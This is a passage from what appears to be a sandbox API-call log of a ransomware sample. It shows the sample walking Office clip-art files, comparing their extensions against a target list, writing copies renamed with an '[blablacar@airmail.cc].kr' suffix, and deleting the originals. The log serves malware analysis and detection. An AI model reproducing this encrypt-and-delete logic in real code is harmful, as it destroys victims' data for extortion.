(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString=".jpg") returned 4 [0201.053] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString=".doc") returned 4 [0201.053] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.053] lstrlenW (lpString=".docx") returned 5 [0201.053] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0201.053] lstrlenW (lpString=".pdf") returned 4 [0201.053] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.053] lstrlenW (lpString=".xls") returned 4 [0201.053] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.053] lstrlenW (lpString=".xlsx") returned 5 [0201.053] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0201.053] lstrlenW (lpString=".ppt") returned 4 [0201.053] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString=".zip") returned 4 [0201.053] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.053] lstrlenW (lpString=".rar") returned 4 [0201.053] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.053] lstrlenW (lpString=".bz2") returned 4 [0201.053] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.053] lstrlenW (lpString=".7z") returned 3 [0201.053] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString=".dbf") returned 4 [0201.054] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.054] lstrlenW (lpString=".1cd") returned 4 [0201.054] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.054] lstrlenW (lpString=".jpg") returned 4 [0201.054] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.054] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.054] lstrlenW (lpString="J0099159.WMF") returned 12 [0201.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.316] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=27546) returned 1 [0201.316] CloseHandle (hObject=0x550) returned 1 [0201.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0201.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.317] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.317] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.322] GetLastError () returned 0x0 [0201.322] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0201.324] WriteFile (in: hFile=0x548, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0201.326] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.326] WriteFile (in: hFile=0x548, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.326] SetEndOfFile (hFile=0x548) returned 1 [0201.326] CloseHandle (hObject=0x548) returned 1 [0201.326] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.326] SetEndOfFile (hFile=0x550) returned 1 [0201.329] CloseHandle (hObject=0x550) returned 1 [0201.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0201.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.330] lstrlenW (lpString=".doc") returned 4 [0201.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.330] lstrlenW (lpString=".docx") returned 5 [0201.331] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0201.331] lstrlenW (lpString=".pdf") returned 4 [0201.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString=".xls") returned 4 [0201.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.331] lstrlenW (lpString=".xlsx") returned 5 [0201.331] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0201.331] lstrlenW (lpString=".ppt") returned 4 [0201.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.331] lstrlenW (lpString=".zip") returned 4 [0201.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.331] lstrlenW (lpString=".rar") returned 4 [0201.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString=".bz2") returned 4 [0201.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString=".7z") returned 3 [0201.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.331] lstrlenW (lpString=".dbf") returned 4 [0201.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.331] lstrlenW (lpString=".1cd") returned 4 [0201.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.331] lstrlenW (lpString=".jpg") returned 4 [0201.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.331] lstrlenW (lpString=".doc") returned 4 [0201.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.331] lstrlenW (lpString=".docx") returned 5 [0201.331] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0201.332] lstrlenW (lpString=".pdf") returned 4 [0201.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.332] lstrlenW (lpString=".xls") returned 4 [0201.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.332] lstrlenW (lpString=".xlsx") returned 5 [0201.332] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0201.332] lstrlenW (lpString=".ppt") returned 4 [0201.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.332] lstrlenW (lpString=".zip") returned 4 [0201.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.332] lstrlenW (lpString=".rar") returned 4 [0201.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.332] lstrlenW (lpString=".bz2") returned 4 [0201.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.332] lstrlenW (lpString=".7z") returned 3 [0201.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.332] lstrlenW (lpString=".dbf") returned 4 [0201.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.332] lstrlenW (lpString=".1cd") returned 4 [0201.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0201.332] lstrlenW (lpString=".jpg") returned 4 [0201.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.333] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.333] lstrlenW (lpString="J0099164.WMF") returned 12 [0201.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.333] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=21946) returned 1 [0201.333] CloseHandle (hObject=0x550) returned 1 [0201.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0201.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.334] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.334] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.335] GetLastError () returned 0x0 [0201.335] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x55ba, lpOverlapped=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x548, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x55c0, lpOverlapped=0x0) returned 1 [0201.338] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.338] WriteFile (in: hFile=0x548, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.338] SetEndOfFile (hFile=0x548) returned 1 [0201.338] CloseHandle (hObject=0x548) returned 1 [0201.338] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.338] SetEndOfFile (hFile=0x550) returned 1 [0201.341] CloseHandle (hObject=0x550) returned 1 [0201.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0201.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.342] lstrlenW (lpString=".doc") returned 4 [0201.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.342] lstrlenW (lpString=".docx") returned 5 [0201.342] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0201.342] lstrlenW (lpString=".pdf") returned 4 [0201.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString=".xls") returned 4 [0201.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.343] lstrlenW (lpString=".xlsx") returned 5 [0201.343] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0201.343] lstrlenW (lpString=".ppt") returned 4 [0201.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.343] lstrlenW (lpString=".zip") returned 4 [0201.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.343] lstrlenW (lpString=".rar") returned 4 [0201.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString=".bz2") returned 4 [0201.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString=".7z") returned 3 [0201.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.343] lstrlenW (lpString=".dbf") returned 4 [0201.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.343] lstrlenW (lpString=".1cd") returned 4 [0201.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.343] lstrlenW (lpString=".jpg") returned 4 [0201.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.343] lstrlenW (lpString=".doc") returned 4 [0201.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString=".docx") returned 5 [0201.343] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0201.343] lstrlenW (lpString=".pdf") returned 4 [0201.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.343] lstrlenW (lpString=".xls") returned 4 [0201.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.344] lstrlenW (lpString=".xlsx") returned 5 [0201.344] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0201.344] lstrlenW (lpString=".ppt") returned 4 [0201.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.344] lstrlenW (lpString=".zip") returned 4 [0201.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.344] lstrlenW (lpString=".rar") returned 4 [0201.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.344] lstrlenW (lpString=".bz2") returned 4 [0201.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.344] lstrlenW (lpString=".7z") returned 3 [0201.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.344] lstrlenW (lpString=".dbf") returned 4 [0201.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.344] lstrlenW (lpString=".1cd") returned 4 [0201.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0201.344] lstrlenW (lpString=".jpg") returned 4 [0201.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.344] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.344] lstrlenW (lpString="J0099165.JPG") returned 12 [0201.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.345] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=50490) returned 1 [0201.345] CloseHandle (hObject=0x550) returned 1 [0201.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0201.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.346] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.346] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.347] GetLastError () returned 0x0 [0201.347] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xc53a, lpOverlapped=0x0) returned 1 [0201.435] WriteFile (in: hFile=0x548, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xc540, lpOverlapped=0x0) returned 1 [0201.436] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.436] WriteFile (in: hFile=0x548, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.437] SetEndOfFile (hFile=0x548) returned 1 [0201.437] CloseHandle (hObject=0x548) returned 1 [0201.437] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.437] SetEndOfFile (hFile=0x550) returned 1 [0201.440] CloseHandle (hObject=0x550) returned 1 [0201.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.740] lstrlenW (lpString=".doc") returned 4 [0201.740] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.740] lstrlenW (lpString=".docx") returned 5 [0201.740] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0201.740] lstrlenW (lpString=".pdf") returned 4 [0201.740] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.740] lstrlenW (lpString=".xls") returned 4 [0201.740] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.740] lstrlenW (lpString=".xlsx") returned 5 [0201.740] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0201.740] lstrlenW (lpString=".ppt") returned 4 [0201.740] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.740] lstrlenW (lpString=".zip") returned 4 [0201.740] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.740] lstrlenW (lpString=".rar") returned 4 [0201.740] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.741] lstrlenW (lpString=".bz2") returned 4 [0201.741] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.741] lstrlenW (lpString=".7z") returned 3 [0201.741] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.741] lstrlenW (lpString=".dbf") returned 4 [0201.741] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.741] lstrlenW (lpString=".1cd") returned 4 [0201.741] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.741] lstrlenW (lpString=".jpg") returned 4 [0201.741] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0201.741] lstrlenW (lpString=".doc") returned 4 [0201.741] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.741] lstrlenW (lpString=".docx") returned 5 